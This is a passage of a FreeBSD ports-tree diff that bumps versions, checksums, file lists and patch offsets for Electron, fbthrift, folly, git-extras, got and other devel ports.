gtk::GetBgColor("GtkMenuBar#menubar"); enabled_color_ = gtk::GetFgColor("GtkMenuBar#menubar GtkMenuItem#menuitem GtkLabel"); -@@ -234,7 +234,7 @@ void MenuBar::RebuildChildren() { +@@ -243,7 +243,7 @@ void MenuBar::RebuildChildren() { } void MenuBar::UpdateViewColors() { @@ -27,7 +27,7 @@ // set menubar background color SetBackground(views::CreateSolidBackground(background_color_)); #endif -@@ -242,7 +242,7 @@ void MenuBar::UpdateViewColors() { +@@ -251,7 +251,7 @@ void MenuBar::UpdateViewColors() { // set child colors if (menu_model_ == nullptr) return; diff --git a/devel/electron22/files/patch-electron_shell_browser_ui_views_menu__bar.h b/devel/electron22/files/patch-electron_shell_browser_ui_views_menu__bar.h index af98f7bbd56..57a5906f1ac 100644 --- a/devel/electron22/files/patch-electron_shell_browser_ui_views_menu__bar.h +++ b/devel/electron22/files/patch-electron_shell_browser_ui_views_menu__bar.h @@ -1,6 +1,6 @@ ---- electron/shell/browser/ui/views/menu_bar.h.orig 2022-05-18 15:31:32 UTC +--- electron/shell/browser/ui/views/menu_bar.h.orig 2023-04-26 08:11:51 UTC +++ electron/shell/browser/ui/views/menu_bar.h -@@ -79,7 +79,7 @@ class MenuBar : public views::AccessiblePaneView, +@@ -82,7 +82,7 @@ class MenuBar : public views::AccessiblePaneView, View* FindAccelChild(char16_t key); SkColor background_color_; diff --git a/devel/electron22/files/patch-electron_spec_api-browser-window-spec.ts b/devel/electron22/files/patch-electron_spec_api-browser-window-spec.ts index cd599979236..25aebdf6958 100644 --- a/devel/electron22/files/patch-electron_spec_api-browser-window-spec.ts +++ b/devel/electron22/files/patch-electron_spec_api-browser-window-spec.ts @@ -1,4 +1,4 @@ ---- electron/spec/api-browser-window-spec.ts.orig 2023-03-02 11:49:02 UTC +--- electron/spec/api-browser-window-spec.ts.orig 2023-04-26 08:11:51 UTC +++ electron/spec/api-browser-window-spec.ts @@ -58,7 +58,7 @@ describe('BrowserWindow module', () => { }).not.to.throw(); @@ -81,7 +81,7 @@ expect(test.creationTime).to.be.null('creation time'); expect(test.systemMemoryInfo).to.be.null('system memory info'); } else { -@@ -3721,7 +3721,7 @@ describe('BrowserWindow module', () => { +@@ -3737,7 +3737,7 @@ describe('BrowserWindow module', () => { }); }); @@ -90,7 +90,7 @@ afterEach(closeAllWindows); it('emits an event when window is maximized', async () => { const w = new BrowserWindow({ show: false }); -@@ -3981,7 +3981,7 @@ describe('BrowserWindow module', () => { +@@ -3997,7 +3997,7 @@ describe('BrowserWindow module', () => { // TODO(zcbenz): // This test does not run on Linux CI. See: // https://github.com/electron/electron/issues/28699 @@ -99,7 +99,7 @@ const w = new BrowserWindow({}); const maximize = emittedOnce(w, 'maximize'); w.maximize(); -@@ -3998,7 +3998,7 @@ describe('BrowserWindow module', () => { +@@ -4014,7 +4014,7 @@ describe('BrowserWindow module', () => { }); // TODO(dsanders11): Enable once maximize event works on Linux again on CI @@ -108,7 +108,7 @@ afterEach(closeAllWindows); it('should show the window if it is not currently shown', async () => { const w = new BrowserWindow({ show: false }); -@@ -4035,7 +4035,7 @@ describe('BrowserWindow module', () => { +@@ -4051,7 +4051,7 @@ describe('BrowserWindow module', () => { // TODO(dsanders11): Enable once minimize event works on Linux again. // See https://github.com/electron/electron/issues/28699 @@ -117,7 +117,7 @@ const w = new BrowserWindow(); const minimize = emittedOnce(w, 'minimize'); w.minimize(); -@@ -4398,7 +4398,7 @@ describe('BrowserWindow module', () => { +@@ -4414,7 +4414,7 @@ describe('BrowserWindow module', () => { }); // On Linux there is no "resizable" property of a window. @@ -126,7 +126,7 @@ const w = new BrowserWindow({ show: false }); expect(w.resizable).to.be.true('resizable'); -@@ -4490,7 +4490,7 @@ describe('BrowserWindow module', () => { +@@ -4506,7 +4506,7 @@ describe('BrowserWindow module', () => { }); }); diff --git a/devel/electron22/files/patch-third__party_angle_src_libANGLE_formatutils.cpp b/devel/electron22/files/patch-third__party_angle_src_libANGLE_formatutils.cpp index 0515d9b5503..b59a949c820 100644 --- a/devel/electron22/files/patch-third__party_angle_src_libANGLE_formatutils.cpp +++ b/devel/electron22/files/patch-third__party_angle_src_libANGLE_formatutils.cpp @@ -1,6 +1,6 @@ ---- third_party/angle/src/libANGLE/formatutils.cpp.orig 2022-11-30 08:12:58 UTC +--- third_party/angle/src/libANGLE/formatutils.cpp.orig 2023-04-28 07:14:34 UTC +++ third_party/angle/src/libANGLE/formatutils.cpp -@@ -1466,7 +1466,7 @@ static InternalFormatInfoMap BuildInternalFormatInfoMa +@@ -1481,7 +1481,7 @@ static InternalFormatInfoMap BuildInternalFormatInfoMa AddYUVFormat(&map, GL_G8_B8R8_2PLANE_420_UNORM_ANGLE, true, 8, 8, 8, 0, 0, GL_G8_B8R8_2PLANE_420_UNORM_ANGLE, GL_UNSIGNED_BYTE, GL_UNSIGNED_NORMALIZED, false, RequireExt<&Extensions::yuvInternalFormatANGLE>, RequireExt<&Extensions::yuvInternalFormatANGLE>, RequireExt<&Extensions::yuvInternalFormatANGLE>, NeverSupported, NeverSupported); AddYUVFormat(&map, GL_G8_B8_R8_3PLANE_420_UNORM_ANGLE, true, 8, 8, 8, 0, 0, GL_G8_B8_R8_3PLANE_420_UNORM_ANGLE, GL_UNSIGNED_BYTE, GL_UNSIGNED_NORMALIZED, false, RequireExt<&Extensions::yuvInternalFormatANGLE>, RequireExt<&Extensions::yuvInternalFormatANGLE>, RequireExt<&Extensions::yuvInternalFormatANGLE>, NeverSupported, NeverSupported); diff --git a/devel/electron23/Makefile b/devel/electron23/Makefile index bf7c7b579f6..e1ff4d6507b 100644 --- a/devel/electron23/Makefile +++ b/devel/electron23/Makefile @@ -222,7 +222,7 @@ REACTIVEOBJC_VER= 74ab5baccc6f7202c8ac69a8d1e152c29dc1ea76 # See ${WRKSRC}/electron/DEPS for MANTLE_VER MANTLE_VER= 78d3966b3c331292ea29ec38661b25df0a245948 -YARN_TIMESTAMP= 1681806367 +YARN_TIMESTAMP= 1682835011 .include "Makefile.version" .include diff --git a/devel/electron23/Makefile.version b/devel/electron23/Makefile.version index d9641aaad16..fd1e4da2ec0 100644 --- a/devel/electron23/Makefile.version +++ b/devel/electron23/Makefile.version @@ -1,2 +1,2 @@ -ELECTRON_VER= 23.2.4 +ELECTRON_VER= 23.3.0 ELECTRON_VER_MAJOR= ${ELECTRON_VER:C/\..*//} diff --git a/devel/electron23/distinfo b/devel/electron23/distinfo index fd143b44797..a43883cf7d6 100644 --- a/devel/electron23/distinfo +++ b/devel/electron23/distinfo @@ -1,14 +1,14 @@ -TIMESTAMP = 1681807036 +TIMESTAMP = 1682835827 SHA256 (electron/chromium-110.0.5481.208.tar.xz) = 9f364e9a61a961b808ac241076fe25f8c48e5d7349a3236a9023a51018890ccc SIZE (electron/chromium-110.0.5481.208.tar.xz) = 1554639732 SHA256 (electron/32dc8abec1486818f6ef4afc4996abc002b5218e) = b7f797156b45c21a104f732366dad74e5b401bae8e3ce75fe1e54769cda3c0c2 SIZE (electron/32dc8abec1486818f6ef4afc4996abc002b5218e) = 9903987 SHA256 (electron/336e775eec536b2d785cc80eff6ac39051931286) = a2ca2962daf482a8f943163541e1c73ba4b2694fabcd2510981f2db4eda493c8 SIZE (electron/336e775eec536b2d785cc80eff6ac39051931286) = 32624734 -SHA256 (electron/electron-yarn-cache-23.2.4.tar.xz) = aba90e2a30cfcfed93d305260447715ba502b398d340a78984c3a649596a7ad4 -SIZE (electron/electron-yarn-cache-23.2.4.tar.xz) = 38872852 -SHA256 (electron/electron-electron-v23.2.4_GH0.tar.gz) = 22222c05c9b7c0a0dcdf07a7a09ebc118e160c75e7f0849adbc1bf86fef30d06 -SIZE (electron/electron-electron-v23.2.4_GH0.tar.gz) = 10464686 +SHA256 (electron/electron-yarn-cache-23.3.0.tar.xz) = 1569f4deebbd2d8b322e7752d8198ca1ec5a5cc07b54c0fcdef421708f20a9e6 +SIZE (electron/electron-yarn-cache-23.3.0.tar.xz) = 38871256 +SHA256 (electron/electron-electron-v23.3.0_GH0.tar.gz) = 93c1ceff65770453eee48e3c7c4fa2361b746d84b0864ea6d02b9a34f6177a7f +SIZE (electron/electron-electron-v23.3.0_GH0.tar.gz) = 10487375 SHA256 (electron/nodejs-node-v18.12.1_GH0.tar.gz) = 7e7962209d25ed6c28b722b78a0b0ca304307d7bf536aca142be330901b11d50 SIZE (electron/nodejs-node-v18.12.1_GH0.tar.gz) = 108947341 SHA256 (electron/nodejs-nan-16fa32231e2ccd89d2804b3f765319128b20c4ac_GH0.tar.gz) = 3807ae6a1e451a29f068540472f100f9718d457c60ac62f2f8469d1d57475d39 diff --git a/devel/electron23/files/patch-electron_shell_app_electron__main__delegate.cc b/devel/electron23/files/patch-electron_shell_app_electron__main__delegate.cc index 562ac2ad364..f7c4e50b5c6 100644 --- a/devel/electron23/files/patch-electron_shell_app_electron__main__delegate.cc +++ b/devel/electron23/files/patch-electron_shell_app_electron__main__delegate.cc @@ -1,6 +1,6 @@ ---- electron/shell/app/electron_main_delegate.cc.orig 2023-02-06 19:29:11 UTC +--- electron/shell/app/electron_main_delegate.cc.orig 2023-04-26 18:09:19 UTC +++ electron/shell/app/electron_main_delegate.cc -@@ -57,13 +57,16 @@ +@@ -58,13 +58,16 @@ #include "chrome/child/v8_crashpad_support_win.h" #endif @@ -19,7 +19,7 @@ #include "components/crash/core/app/crash_switches.h" // nogncheck #include "components/crash/core/app/crashpad.h" // nogncheck #include "components/crash/core/common/crash_key.h" -@@ -160,7 +163,7 @@ bool ElectronPathProvider(int key, base::FilePath* res +@@ -156,7 +159,7 @@ bool ElectronPathProvider(int key, base::FilePath* res create_dir = true; break; } @@ -28,7 +28,7 @@ case DIR_APP_DATA: { auto env = base::Environment::Create(); cur = base::nix::GetXDGDirectory( -@@ -294,7 +297,7 @@ absl::optional ElectronMainDelegate::BasicStartup +@@ -288,7 +291,7 @@ absl::optional ElectronMainDelegate::BasicStartup base::win::PinUser32(); #endif @@ -37,7 +37,7 @@ // Check for --no-sandbox parameter when running as root. if (getuid() == 0 && IsSandboxEnabled(command_line)) LOG(FATAL) << "Running as root without --" -@@ -346,7 +349,7 @@ void ElectronMainDelegate::PreSandboxStartup() { +@@ -340,7 +343,7 @@ void ElectronMainDelegate::PreSandboxStartup() { process_type == ::switches::kZygoteProcess); #endif @@ -46,7 +46,7 @@ crash_reporter::InitializeCrashKeys(); #endif -@@ -381,7 +384,7 @@ void ElectronMainDelegate::PreSandboxStartup() { +@@ -375,7 +378,7 @@ void ElectronMainDelegate::PreSandboxStartup() { } #endif diff --git a/devel/electron23/files/patch-electron_shell_app_node__main.cc b/devel/electron23/files/patch-electron_shell_app_node__main.cc index f299a1a8dbd..a62d5b6fb95 100644 --- a/devel/electron23/files/patch-electron_shell_app_node__main.cc +++ b/devel/electron23/files/patch-electron_shell_app_node__main.cc @@ -1,4 +1,4 @@ ---- electron/shell/app/node_main.cc.orig 2023-02-06 19:29:11 UTC +--- electron/shell/app/node_main.cc.orig 2023-04-26 18:09:19 UTC +++ electron/shell/app/node_main.cc @@ -42,7 +42,7 @@ #include "content/public/common/content_descriptors.h" @@ -27,7 +27,7 @@ electron::crash_keys::GetCrashKeys(&keys); #endif return gin::ConvertToV8(isolate, keys); -@@ -235,7 +235,7 @@ int NodeMain(int argc, char* argv[]) { +@@ -236,7 +236,7 @@ int NodeMain(int argc, char* argv[]) { // Setup process.crashReporter in child node processes gin_helper::Dictionary reporter = gin::Dictionary::CreateEmpty(isolate); reporter.SetMethod("getParameters", &GetParameters); diff --git a/devel/electron23/files/patch-electron_shell_common_node__bindings.cc b/devel/electron23/files/patch-electron_shell_common_node__bindings.cc index 93a5f1777f8..d69bf7102cf 100644 --- a/devel/electron23/files/patch-electron_shell_common_node__bindings.cc +++ b/devel/electron23/files/patch-electron_shell_common_node__bindings.cc @@ -1,4 +1,4 @@ ---- electron/shell/common/node_bindings.cc.orig 2023-04-12 09:18:42 UTC +--- electron/shell/common/node_bindings.cc.orig 2023-04-26 18:09:19 UTC +++ electron/shell/common/node_bindings.cc @@ -40,7 +40,7 @@ #include "third_party/blink/renderer/bindings/core/v8/v8_initializer.h" // nogncheck @@ -18,7 +18,7 @@ electron::crash_keys::SetCrashKey("electron.v8-fatal.message", message); electron::crash_keys::SetCrashKey("electron.v8-fatal.location", location); #endif -@@ -436,7 +436,7 @@ void NodeBindings::Initialize() { +@@ -435,7 +435,7 @@ void NodeBindings::Initialize() { TRACE_EVENT0("electron", "NodeBindings::Initialize"); // Open node's error reporting system for browser process. diff --git a/devel/electron23/files/patch-third__party_angle_src_libANGLE_formatutils.cpp b/devel/electron23/files/patch-third__party_angle_src_libANGLE_formatutils.cpp index 0515d9b5503..7460b4a24ba 100644 --- a/devel/electron23/files/patch-third__party_angle_src_libANGLE_formatutils.cpp +++ b/devel/electron23/files/patch-third__party_angle_src_libANGLE_formatutils.cpp @@ -1,6 +1,6 @@ ---- third_party/angle/src/libANGLE/formatutils.cpp.orig 2022-11-30 08:12:58 UTC +--- third_party/angle/src/libANGLE/formatutils.cpp.orig 2023-04-30 06:33:18 UTC +++ third_party/angle/src/libANGLE/formatutils.cpp -@@ -1466,7 +1466,7 @@ static InternalFormatInfoMap BuildInternalFormatInfoMa +@@ -1481,7 +1481,7 @@ static InternalFormatInfoMap BuildInternalFormatInfoMa AddYUVFormat(&map, GL_G8_B8R8_2PLANE_420_UNORM_ANGLE, true, 8, 8, 8, 0, 0, GL_G8_B8R8_2PLANE_420_UNORM_ANGLE, GL_UNSIGNED_BYTE, GL_UNSIGNED_NORMALIZED, false, RequireExt<&Extensions::yuvInternalFormatANGLE>, RequireExt<&Extensions::yuvInternalFormatANGLE>, RequireExt<&Extensions::yuvInternalFormatANGLE>, NeverSupported, NeverSupported); AddYUVFormat(&map, GL_G8_B8_R8_3PLANE_420_UNORM_ANGLE, true, 8, 8, 8, 0, 0, GL_G8_B8_R8_3PLANE_420_UNORM_ANGLE, GL_UNSIGNED_BYTE, GL_UNSIGNED_NORMALIZED, false, RequireExt<&Extensions::yuvInternalFormatANGLE>, RequireExt<&Extensions::yuvInternalFormatANGLE>, RequireExt<&Extensions::yuvInternalFormatANGLE>, NeverSupported, NeverSupported); diff --git a/devel/fatal/Makefile b/devel/fatal/Makefile index 1f27ed3cc47..085e20b17e1 100644 --- a/devel/fatal/Makefile +++ b/devel/fatal/Makefile @@ -1,6 +1,6 @@ PORTNAME= fatal DISTVERSIONPREFIX= v -DISTVERSION= 2023.04.24.00 +DISTVERSION= 2023.05.01.00 CATEGORIES= devel MAINTAINER= yuri@FreeBSD.org diff --git a/devel/fatal/distinfo b/devel/fatal/distinfo index 0921ea4ab6e..fa700f5f8d1 100644 --- a/devel/fatal/distinfo +++ b/devel/fatal/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682372458 -SHA256 (facebook-fatal-v2023.04.24.00_GH0.tar.gz) = 2ef7b17d3a4233103f61538549a9b5c1e81d5268a5eb51cb0bad695e4a53aa23 -SIZE (facebook-fatal-v2023.04.24.00_GH0.tar.gz) = 659045 +TIMESTAMP = 1682966465 +SHA256 (facebook-fatal-v2023.05.01.00_GH0.tar.gz) = a32923c2e311c3c0e859893aab7a68bb7e0d8512421882e066ca296bd33156c8 +SIZE (facebook-fatal-v2023.05.01.00_GH0.tar.gz) = 659048 diff --git a/devel/fbthrift/Makefile b/devel/fbthrift/Makefile index feabd7e61b4..e9a1b39eaf3 100644 --- a/devel/fbthrift/Makefile +++ b/devel/fbthrift/Makefile @@ -1,7 +1,6 @@ PORTNAME= fbthrift DISTVERSIONPREFIX= v -DISTVERSION= 2023.04.24.00 -PORTREVISION= 1 +DISTVERSION= 2023.05.01.00 CATEGORIES= devel MAINTAINER= yuri@FreeBSD.org diff --git a/devel/fbthrift/distinfo b/devel/fbthrift/distinfo index 5ff583e59bf..796da6a4dc1 100644 --- a/devel/fbthrift/distinfo +++ b/devel/fbthrift/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682372455 -SHA256 (facebook-fbthrift-v2023.04.24.00_GH0.tar.gz) = 5fd12c95ebe81babdcea56e0de58d76b885fbf244e1c640a25be259fe7734e69 -SIZE (facebook-fbthrift-v2023.04.24.00_GH0.tar.gz) = 13796281 +TIMESTAMP = 1682966463 +SHA256 (facebook-fbthrift-v2023.05.01.00_GH0.tar.gz) = 7d6b9272c637a44767cb30e75d6f703fdfd6966bababa61fca773e68d299bfe0 +SIZE (facebook-fbthrift-v2023.05.01.00_GH0.tar.gz) = 13791069 diff --git a/devel/fbthrift/pkg-plist b/devel/fbthrift/pkg-plist index 0206da4e675..8362e202177 100644 --- a/devel/fbthrift/pkg-plist +++ b/devel/fbthrift/pkg-plist @@ -1,17 +1,7 @@ bin/thrift1 include/thrift/ThriftLibrary.cmake -include/thrift/annotation/gen-cpp2/api_clients.h -include/thrift/annotation/gen-cpp2/api_constants.h -include/thrift/annotation/gen-cpp2/api_data.h -include/thrift/annotation/gen-cpp2/api_for_each_field.h -include/thrift/annotation/gen-cpp2/api_handlers.h -include/thrift/annotation/gen-cpp2/api_metadata.h -include/thrift/annotation/gen-cpp2/api_types.h -include/thrift/annotation/gen-cpp2/api_types.tcc -include/thrift/annotation/gen-cpp2/api_types_custom_protocol.h -include/thrift/annotation/gen-cpp2/api_visit_by_thrift_field_metadata.h -include/thrift/annotation/gen-cpp2/api_visit_union.h -include/thrift/annotation/gen-cpp2/api_visitation.h +include/thrift/annotation/compat.thrift +include/thrift/annotation/cpp.thrift include/thrift/annotation/gen-cpp2/cpp_clients.h include/thrift/annotation/gen-cpp2/cpp_constants.h include/thrift/annotation/gen-cpp2/cpp_data.h @@ -48,18 +38,6 @@ include/thrift/annotation/gen-cpp2/java_types_custom_protocol.h include/thrift/annotation/gen-cpp2/java_visit_by_thrift_field_metadata.h include/thrift/annotation/gen-cpp2/java_visit_union.h include/thrift/annotation/gen-cpp2/java_visitation.h -include/thrift/annotation/gen-cpp2/meta_clients.h -include/thrift/annotation/gen-cpp2/meta_constants.h -include/thrift/annotation/gen-cpp2/meta_data.h -include/thrift/annotation/gen-cpp2/meta_for_each_field.h -include/thrift/annotation/gen-cpp2/meta_handlers.h -include/thrift/annotation/gen-cpp2/meta_metadata.h -include/thrift/annotation/gen-cpp2/meta_types.h -include/thrift/annotation/gen-cpp2/meta_types.tcc -include/thrift/annotation/gen-cpp2/meta_types_custom_protocol.h -include/thrift/annotation/gen-cpp2/meta_visit_by_thrift_field_metadata.h -include/thrift/annotation/gen-cpp2/meta_visit_union.h -include/thrift/annotation/gen-cpp2/meta_visitation.h include/thrift/annotation/gen-cpp2/python_clients.h include/thrift/annotation/gen-cpp2/python_constants.h include/thrift/annotation/gen-cpp2/python_data.h @@ -96,6 +74,13 @@ include/thrift/annotation/gen-cpp2/thrift_types_custom_protocol.h include/thrift/annotation/gen-cpp2/thrift_visit_by_thrift_field_metadata.h include/thrift/annotation/gen-cpp2/thrift_visit_union.h include/thrift/annotation/gen-cpp2/thrift_visitation.h +include/thrift/annotation/hack.thrift +include/thrift/annotation/internal.thrift +include/thrift/annotation/java.thrift +include/thrift/annotation/python.thrift +include/thrift/annotation/rust.thrift +include/thrift/annotation/scope.thrift +include/thrift/annotation/thrift.thrift include/thrift/lib/cpp/ContextStack.h include/thrift/lib/cpp/DistinctTable.h include/thrift/lib/cpp/EventHandlerBase.h @@ -513,6 +498,7 @@ include/thrift/lib/cpp2/transport/rocket/framing/test/Util.h include/thrift/lib/cpp2/transport/rocket/server/RocketRoutingHandler.h include/thrift/lib/cpp2/transport/rocket/server/RocketServerConnection.h include/thrift/lib/cpp2/transport/rocket/server/RocketServerConnectionObserver.h +include/thrift/lib/cpp2/transport/rocket/server/RocketServerConnectionPlugins.h include/thrift/lib/cpp2/transport/rocket/server/RocketServerFrameContext.h include/thrift/lib/cpp2/transport/rocket/server/RocketServerHandler.h include/thrift/lib/cpp2/transport/rocket/server/RocketSinkClientCallback.h @@ -733,8 +719,7 @@ lib/libcompiler.so lib/libcompiler.so.1.0.0 lib/libcompiler_ast.so lib/libcompiler_ast.so.1.0.0 -lib/libcompiler_base.so -lib/libcompiler_base.so.1.0.0 +lib/libcompiler_base.a lib/libconcurrency.so lib/libconcurrency.so.1.0.0 lib/libmustache.so diff --git a/devel/fnc/Makefile b/devel/fnc/Makefile index 019d6495563..32269cd9a2c 100644 --- a/devel/fnc/Makefile +++ b/devel/fnc/Makefile @@ -1,5 +1,5 @@ PORTNAME= fnc -DISTVERSION= 0.13 +DISTVERSION= 0.15 CATEGORIES= devel MASTER_SITES= https://fnc.bsdbox.org/tarball/${DISTVERSION}/ \ https://distfiles.pirateparty.in/ashish/ diff --git a/devel/fnc/distinfo b/devel/fnc/distinfo index 4a43562a9f8..f2704bf0d69 100644 --- a/devel/fnc/distinfo +++ b/devel/fnc/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1669475788 -SHA256 (fnc-0.13.tar.gz) = 257d7dd4bdd0ba166f620253603d74cb728869d3e6859b1c90b96227359dca88 -SIZE (fnc-0.13.tar.gz) = 3103502 +TIMESTAMP = 1682800264 +SHA256 (fnc-0.15.tar.gz) = f2ea7ce387a420e31c3e57c1d8327347f1a0258f6cfec05e6291be62d75abaf5 +SIZE (fnc-0.15.tar.gz) = 3169205 diff --git a/devel/folly/Makefile b/devel/folly/Makefile index ff08094ab07..1fe86dfa8f2 100644 --- a/devel/folly/Makefile +++ b/devel/folly/Makefile @@ -1,7 +1,6 @@ PORTNAME= folly DISTVERSIONPREFIX= v -DISTVERSION= 2023.04.24.00 -PORTREVISION= 1 +DISTVERSION= 2023.05.01.00 CATEGORIES= devel MAINTAINER= yuri@FreeBSD.org diff --git a/devel/folly/distinfo b/devel/folly/distinfo index 1a7e04c4b47..8dce6d11f91 100644 --- a/devel/folly/distinfo +++ b/devel/folly/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682372449 -SHA256 (facebook-folly-v2023.04.24.00_GH0.tar.gz) = 3d3c7675d9d2699bd89f6d6fe1d2d4647bcb505f86c8d94b2a99504e01627ff7 -SIZE (facebook-folly-v2023.04.24.00_GH0.tar.gz) = 3823734 +TIMESTAMP = 1682966456 +SHA256 (facebook-folly-v2023.05.01.00_GH0.tar.gz) = 7448d114e4384693930cdaccc80dc382d3deafea556043b3c3a4696fc9aee02e +SIZE (facebook-folly-v2023.05.01.00_GH0.tar.gz) = 3827383 diff --git a/devel/folly/pkg-plist b/devel/folly/pkg-plist index 0050db1254e..b66fdd0d215 100644 --- a/devel/folly/pkg-plist +++ b/devel/folly/pkg-plist @@ -126,6 +126,7 @@ include/folly/concurrency/CoreCachedSharedPtr.h include/folly/concurrency/DeadlockDetector.h include/folly/concurrency/DynamicBoundedQueue.h include/folly/concurrency/PriorityUnboundedQueueSet.h +include/folly/concurrency/ProcessLocalUniqueId.h include/folly/concurrency/ThreadCachedSynchronized.h include/folly/concurrency/UnboundedQueue.h include/folly/concurrency/detail/AtomicSharedPtr-detail.h diff --git a/devel/gbump/Makefile b/devel/gbump/Makefile index ba6875be92c..6ebc291fc01 100644 --- a/devel/gbump/Makefile +++ b/devel/gbump/Makefile @@ -16,6 +16,8 @@ LIB_DEPENDS= libgit2.so:devel/libgit2 \ libssh2.so:security/libssh2 USES= cargo ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Fails to find OpenSSL development headers CARGO_CRATES= aho-corasick-0.7.6 \ ansi_term-0.11.0 \ diff --git a/devel/git-extras/Makefile b/devel/git-extras/Makefile index 587e4ab9ef1..98c5ce3f468 100644 --- a/devel/git-extras/Makefile +++ b/devel/git-extras/Makefile @@ -1,5 +1,5 @@ PORTNAME= git-extras -PORTVERSION= 6.5.0 +PORTVERSION= 7.0.0 CATEGORIES= devel MAINTAINER= igor.ostapenko@pm.me diff --git a/devel/git-extras/distinfo b/devel/git-extras/distinfo index 3327105cd43..9565b9364fd 100644 --- a/devel/git-extras/distinfo +++ b/devel/git-extras/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1665433128 -SHA256 (tj-git-extras-6.5.0_GH0.tar.gz) = eace7a0659749c72abf1cee68c03ea0a77715870d5e321c729e4a231ee359b61 -SIZE (tj-git-extras-6.5.0_GH0.tar.gz) = 167015 +TIMESTAMP = 1682352305 +SHA256 (tj-git-extras-7.0.0_GH0.tar.gz) = 3adcbc247d6cb78dc58cace22e9ad789cd6f5061522516660dfb59cc6ec08def +SIZE (tj-git-extras-7.0.0_GH0.tar.gz) = 169165 diff --git a/devel/git-extras/files/patch-Makefile b/devel/git-extras/files/patch-Makefile index 19a85d1d661..255e8932853 100644 --- a/devel/git-extras/files/patch-Makefile +++ b/devel/git-extras/files/patch-Makefile @@ -1,6 +1,6 @@ ---- Makefile.orig 2022-10-06 12:33:44 UTC +--- Makefile.orig 2023-04-25 12:19:36 UTC +++ Makefile -@@ -3,7 +3,7 @@ BINPREFIX ?= "$(PREFIX)/bin" +@@ -4,11 +4,13 @@ ifeq ($(OS), FreeBSD) OS = $(shell uname) ifeq ($(OS), FreeBSD) @@ -9,23 +9,9 @@ else MANPREFIX ?= "$(PREFIX)/share/man/man1" endif -@@ -69,8 +69,8 @@ install: check - cp -f man/git-*.1 $(DESTDIR)$(MANPREFIX); \ - echo "cp -f man/git-*.1 $(DESTDIR)$(MANPREFIX)"; \ - fi -- @mkdir -p $(DESTDIR)$(SYSCONFDIR)/bash-completion/completions -- cp -f etc/bash_completion.sh $(DESTDIR)$(SYSCONFDIR)/bash-completion/completions/git-extras -+ @mkdir -p $(DESTDIR)$(PREFIX)/share/bash-completion/completions -+ cp -f etc/bash_completion.sh $(DESTDIR)$(PREFIX)/share/bash-completion/completions/git-extras - @echo "" - @echo "If you are a zsh user, you may want to 'source $(CODE_DIR)etc/git-extras-completion.zsh'" \ - "and put this line into ~/.zshrc to enable zsh completion" -@@ -119,7 +119,7 @@ uninstall: - echo "... uninstalling $(DESTDIR)$(MANPREFIX)/$(notdir $(MAN))"; \ - rm -f $(DESTDIR)$(MANPREFIX)/$(notdir $(MAN)); \ - ) -- rm -f $(DESTDIR)$(SYSCONFDIR)/bash-completion/completions/git-extras -+ rm -f $(DESTDIR)$(PREFIX)/share/bash-completion/completions/git-extras - - clean: docclean - + ifeq ($(OS), Darwin) ++ COMPL_DIR ?= "$(DESTDIR)$(SYSCONFDIR)/bash_completion.d" ++else ifeq ($(OS), FreeBSD) + COMPL_DIR ?= "$(DESTDIR)$(SYSCONFDIR)/bash_completion.d" + else + COMPL_DIR ?= "$(DESTDIR)$(SYSCONFDIR)/bash-completion/completions" diff --git a/devel/git-extras/pkg-plist b/devel/git-extras/pkg-plist index 33cf02a680e..7932949b915 100644 --- a/devel/git-extras/pkg-plist +++ b/devel/git-extras/pkg-plist @@ -71,6 +71,7 @@ bin/git-touch bin/git-undo bin/git-unlock bin/git-utimes +etc/bash_completion.d/git-extras man/man1/git-abort.1.gz man/man1/git-alias.1.gz man/man1/git-archive-file.1.gz @@ -143,4 +144,3 @@ man/man1/git-touch.1.gz man/man1/git-undo.1.gz man/man1/git-unlock.1.gz man/man1/git-utimes.1.gz -share/bash-completion/completions/git-extras diff --git a/devel/google-cloud-cpp117/Makefile b/devel/google-cloud-cpp117/Makefile index 9dd52cdacd2..b103b4e427f 100644 --- a/devel/google-cloud-cpp117/Makefile +++ b/devel/google-cloud-cpp117/Makefile @@ -28,6 +28,8 @@ LIB_DEPENDS= libabsl_strings.so:devel/abseil \ libre2.so:devel/re2 USES= cmake compiler:c++17-lang pkgconfig ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Requires OpenSSL 3.0.0 deprecated MD5_/SHA256_ routines USE_GITHUB= yes GH_ACCOUNT= GoogleCloudPlatform GH_TUPLE= googleapis:googleapis:59f97e6044a1275f83427ab7962a154c00d915b5:googleapis diff --git a/devel/got/Makefile b/devel/got/Makefile index 994e490e71e..23fdfe8343f 100644 --- a/devel/got/Makefile +++ b/devel/got/Makefile @@ -1,5 +1,5 @@ PORTNAME= got -DISTVERSION= 0.87 +DISTVERSION= 0.88 CATEGORIES= devel MASTER_SITES= https://gameoftrees.org/releases/ diff --git a/devel/got/distinfo b/devel/got/distinfo index 3f320bd1a95..25add8fc142 100644 --- a/devel/got/distinfo +++ b/devel/got/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681998178 -SHA256 (got-0.87.tar.gz) = 74f8b5e0ce1158c877628e0d95a42b8e1ce1fe0afc2fc01911ba4ea471978605 -SIZE (got-0.87.tar.gz) = 822791 +TIMESTAMP = 1682778516 +SHA256 (got-0.88.tar.gz) = ea01ca351dc573506ff506d5717e362710755131cac402578cc504d4db73d1b9 +SIZE (got-0.88.tar.gz) = 824988 diff --git a/devel/got/files/patch-regress_Makefile b/devel/got/files/patch-regress_Makefile index 89edb028f0d..fa952d787b2 100644 --- a/devel/got/files/patch-regress_Makefile +++ b/devel/got/files/patch-regress_Makefile @@ -1,10 +1,9 @@ ---- regress/Makefile.orig 2023-04-15 23:28:20 UTC +--- regress/Makefile.orig 2023-04-20 20:02:28 UTC +++ regress/Makefile -@@ -1,4 +1,6 @@ --SUBDIR = cmdline delta deltify idset path fetch -+SUBDIR = cmdline delta deltify idset path fetch tog -+ -+SUBDIR_TARGETS+= regress - - .if make(clean) +@@ -4,4 +4,6 @@ SUBDIR = cmdline delta deltify idset path fetch tog SUBDIR += gotd + .endif + ++SUBDIR_TARGETS+= regress ++ + .include diff --git a/devel/got/files/patch-regress_tog_Makefile b/devel/got/files/patch-regress_tog_Makefile index effb7a8466f..9239ad23536 100644 --- a/devel/got/files/patch-regress_tog_Makefile +++ 